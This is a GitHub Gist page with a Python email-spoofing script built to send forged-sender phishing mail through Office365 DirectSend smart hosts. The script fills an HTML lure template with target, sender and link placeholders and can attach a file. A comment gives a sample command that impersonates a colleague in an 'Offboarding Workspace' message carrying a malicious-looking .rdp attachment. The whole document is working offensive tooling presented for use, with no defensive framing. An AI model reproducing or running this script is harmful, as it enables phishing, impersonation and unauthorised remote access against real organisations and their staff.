Created
April 13, 2022 13:22
-
-
Save ustayready/b8314a4a964ff498f7b4682fc66475cc to your computer and use it in GitHub Desktop.
Simple unfinished SMTP spoof script for use with Office365 DirectSend SmartHosts
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import smtplib | |
from email.mime.text import MIMEText | |
from email.mime.multipart import MIMEMultipart | |
from email.mime.text import MIMEText | |
from email.mime.base import MIMEBase | |
from email import encoders | |
import ssl | |
import email | |
import argparse | |
def main(): | |
parser = argparse.ArgumentParser() | |
parser.add_argument('-t', '--To', type=str, required=True) | |
parser.add_argument('-f', '--From', type=str, required=True) | |
parser.add_argument('-s', '--Subject', type=str, required=True) | |
parser.add_argument('-b', '--Body', type=str, required=True) | |
parser.add_argument('-a', '--Attach', type=str, required=False) | |
parser.add_argument('--smtp', type=str, required=True, help="domain-com.mail.protection.outlook.com") | |
args = parser.parse_args() | |
link = 'https://formlink/' | |
from_parts = args.From.split(' <') | |
from_name = from_parts[0] | |
to_parts = args.To.split(' <') | |
to_name = to_parts[0] | |
msg = MIMEMultipart('alternative') | |
msg['Subject'] = args.Subject | |
msg['From'] = args.From | |
msg['To'] = args.To | |
with open(args.Body, 'r') as fh: | |
html = fh.read() | |
body_html = html.replace('{{target}}', to_name).replace('{{sender}}', from_name).replace('{{link}}', link) | |
html_part = MIMEText(body_html, 'html') | |
msg.attach(html_part) | |
if args.Attach: | |
with open(args.Attach, 'rb') as attachment: | |
attach_part = MIMEBase('application','octet-stream') | |
attach_part.set_payload(attachment.read()) | |
encoders.encode_base64(attach_part) | |
attach_part.add_header( | |
'Content-Disposition', | |
'attachment', | |
filename=args.Attach | |
) | |
msg.attach(attach_part) | |
s = smtplib.SMTP(args.smtp) | |
s.sendmail(args.From,[args.To], msg.as_string()) | |
s.quit() | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
python3 spoof.py -t 'John Doe <[email protected]>' -f 'Bob Smith <[email protected]>' -s 'Offboarding Workspace' -b Offboarding.html --smtp blahblah-com.mail.protection.outlook.com -a Shared_Workspace.rdp